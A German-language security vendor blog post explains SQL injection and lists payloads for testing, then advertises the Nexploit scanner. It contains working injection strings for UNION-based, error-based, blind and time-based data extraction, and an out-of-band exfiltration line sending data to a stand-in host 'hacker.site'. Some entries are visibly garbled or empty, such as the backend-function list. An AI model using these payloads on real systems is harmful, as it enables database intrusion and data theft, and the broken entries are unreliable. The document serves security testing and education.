SQL Injection Payloads: Wie SQLi Exploits funktionieren
Was ist eine SQL Injection Payload?
SQL Injection stellt eine Web-Sicherheitsanfälligkeit dar, die es Angreifern ermöglicht, Daten anzuzeigen, zu denen sie nicht in der Lage sein sollten, indem sie es Angreifern ermöglichen, die Abfragen einer Anwendung an ihre Datenbank zu stören, indem sie böswillige SQL Injection-Nutzlasten injizieren.
Erfahren Sie in diesem Blogbeitrag mehr über SQL–Injection-Angriffe – Was sind SQL-Injections und wie können sie verhindert werden
In diesem Blogbeitrag erfahren Sie, wie Sie überprüfen, ob eine Website anfällig für SQLi ist, und welche verschiedenen SQL-Injection-Payloads verwendet werden, um verschiedene Arten von SQL-Injection-Schwachstellen auszunutzen.
In diesem Artikel:
Um festzustellen, ob Ihre Anwendungen für SQLi anfällig sind und Sie die folgenden Payloads verwenden können, müssen Sie zunächst in der Lage sein, Daten in die Abfrage einzufügen, ohne sie zu unterbrechen. Der erste Schritt besteht darin, herauszufinden, wie Sie dem aktuellen Kontext entkommen können.
Probieren Sie eines dieser nützlichen Beispiele aus:
'
"
`
')
")
`)
'))
"))
`))
Um die Abfrage zu korrigieren, können Sie Daten eingeben, damit die vorherige Abfrage die neuen Daten akzeptiert, oder Sie können Daten eingeben und am Ende ein Kommentarsymbol hinzufügen.
Diese Phase wird einfacher, wenn Sie Fehlermeldungen sehen oder feststellen können, ob / wann eine Abfrage funktioniert oder nicht.
MySQL
#comment
-- comment
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Bestätigen von SQLi mithilfe logischer Operationen
Sie können eine SQL-Injection-Sicherheitsanfälligkeit bestätigen, indem Sie eine logische Operation ausführen. Wenn Sie das erwartete Ergebnis erhalten, bestätigen Sie SQLi.
So sieht es in der Praxis aus:
Wenn der GET-Parameter ?username=John
denselben Inhalt wie ?username=John'
oder '1'='1
zurückgibt, haben Sie eine SQL-Injection-Sicherheitsanfälligkeit gefunden.
Dieses Konzept funktioniert auch für mathematische Operationen:
Wenn ?id=1
dasselbe zurückgibt wie ?id=2-1
, haben Sie eine SQL-Injection-Sicherheitsanfälligkeit gefunden.
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
Bestätigen der SQL-Injection mit Timing
In einigen Fällen, wenn Sie versuchen, eine SQLi zu bestätigen, wird es keine merkliche Änderung auf der Seite geben, die Sie testen. Dies weist auf ein blindes SQL hin, das identifiziert werden kann, indem die Datenbank Aktionen ausführt, die sich auf die Ladezeit der Seite auswirken.
Wir werden der SQL-Abfrage eine Operation hinzufügen, deren Ausführung länger dauert, z. B. die folgenden:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND =DBMS_PIPE.RECEIVE_MESSAGE('',)
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND =LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
Lassen Sie daher eine Abfrage komplexe Vorgänge ausführen, die stattdessen mehrere Sekunden dauern.
Identifizieren des Backends
Verschiedene Backends haben unterschiedliche Funktionen, die durch Ausführen dieser Funktionen identifiziert werden können. Beispiele für diese Funktionen sind:
MySQL,
,
,
MSSQL,
,
,
,
,
Orakel,
,
,
PostgreSQL,
,
,
,
,
,
SQLite,
,
,
MS Access,
,
,
,
,
Union Based SQL Injection Payloads
Anzahl der Spalten ermitteln
Beide Abfragen (die ursprüngliche und die von uns geänderte) müssen dieselbe Anzahl von Spalten zurückgeben. Aber woher wissen wir, wie viele Spalten die ursprüngliche Anforderung zurückgibt? Normalerweise verwenden wir eine der beiden folgenden Methoden, um die Anzahl der Spalten zu ermitteln:
Order/ Group by
Obwohl GROUP BY
und ORDER BY
unterschiedliche Funktionen in SQL haben, können sie beide verwendet werden, um die Anzahl der Spalten in der Abfrage zu bestimmen. Erhöhen Sie die Zahl, bis Sie eine falsche Antwort erhalten:
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
Fügen Sie im Fall von UNION SELECT eine zunehmende Anzahl von Nullwerten ein, bis die Abfrage gültig ist:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Warum werden Nullwerte verwendet? Es gibt Fälle, in denen der Typ der Spalten auf beiden Seiten der Abfrage gleich sein muss. Null ist in jedem Fall gültig.
Datenbanknamen, Tabellen und Spaltennamen extrahieren
In den folgenden Beispielen werden wir den Namen aller Datenbanken, die Tabellennamen aus einer Datenbank und die Spaltennamen der Tabelle abrufen:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=
Die Methode, mit der diese Daten ermittelt werden, unterscheidet sich von der Datenbank selbst, ist jedoch immer dieselbe Methode.
Error based SQL Injection Payloads
Wenn die Abfrageausgabe nicht sichtbar ist, Sie aber die Fehlermeldungen sehen können, können Sie diese Fehlermeldungen verwenden, um die Daten aus der Datenbank zu exfiltrieren.
Ähnlich wie im Union Based Exploitation-Beispiel können Sie die Datenbank:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQL Injections Payloads
Bei Blind SQL Injection können Sie weder die Ergebnisse der Abfrage noch die Fehler sehen, aber Sie können anhand des unterschiedlichen Inhalts auf der Seite unterscheiden, wann die Abfrage eine True- oder eine False-Antwort zurückgegeben hat.
Sie können dieses Verhalten missbrauchen, um die Datenbank zeichenweise zu sichern:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Fehler Blind SQL Injection Payloads
Wie der Name schon sagt, ist dies der Blind SQL Injection sehr ähnlich, aber diesmal müssen Sie nicht zwischen einer echten und einer falschen Antwort unterscheiden. Sie überprüfen, ob in der SQL-Abfrage ein Fehler vorliegt oder nicht, indem Sie jedes Mal, wenn Sie das Zeichen richtig erraten, einen SQL-Fehler erzwingen:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Time Based SQL Injection Payloads
Sie können diese Technik in erster Linie verwenden, wenn Sie blinde Sicherheitsanfälligkeiten ausnutzen möchten, bei denen Sie eine zweite Abfrage verwenden, um eine DNS-Suche, einen bedingten Fehler oder eine Zeitverzögerung auszulösen.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Gestapelte Abfragen
Gestapelte Abfragen können verwendet werden, um mehrere Abfragen nacheinander auszuführen. Während die nachfolgenden Abfragen ausgeführt werden, werden die Ergebnisse nicht an die Anwendung zurückgegeben. Sie können diese Technik verwenden, wenn Sie Schwachstellen untersuchen, bei denen Sie eine zweite Abfrage verwenden, um eine DNS-Suche, einen bedingten Fehler oder eine Zeitverzögerung auszulösen.
Während Oracle und MySQL keine gestapelten Abfragen unterstützen, unterstützen Microsoft und PostgreSQL sie: QUERY-1-HERE; QUERY-2-HERE
Out-of-Band-SQLi-Payloads
Wenn keine der oben genannten Ausnutzungsmethoden für Sie funktioniert hat, können Sie versuchen, die Datenbank dazu zu bringen, die Daten auf einen von Ihnen kontrollierten externen Host zu exfiltrieren. Sie können beispielsweise DNS-Abfragen verwenden:
select load_file(concat('\\',version(),'.hacker.site\a.txt'));
Erkennen Sie SQL Injection mit Hilfe von Nexploit
Nexploit von NeuraLegion automatisiert die Erkennung und Behebung von Hunderten von Schwachstellen, einschließlich SQL Injection.
Durch die frühzeitige Integration von DAST-Scans in den Entwicklungsprozess können Entwickler und Anwendungssicherheitsexperten Schwachstellen frühzeitig erkennen und beheben, bevor sie in der Produktion auftreten.
Mit Nexploit sind die Scans in wenigen Minuten erledigt und die Ergebnisse werden mit null Fehlalarmen geliefert. Auf diese Weise können Entwickler die Lösung übernehmen und während des gesamten Entwicklungslebenszyklus verwenden.
Scannen Sie jede Web-App oder API, um SQL–Injection-Schwachstellen zu vermeiden – probieren Sie NeuraLegion Nexploit kostenlos aus.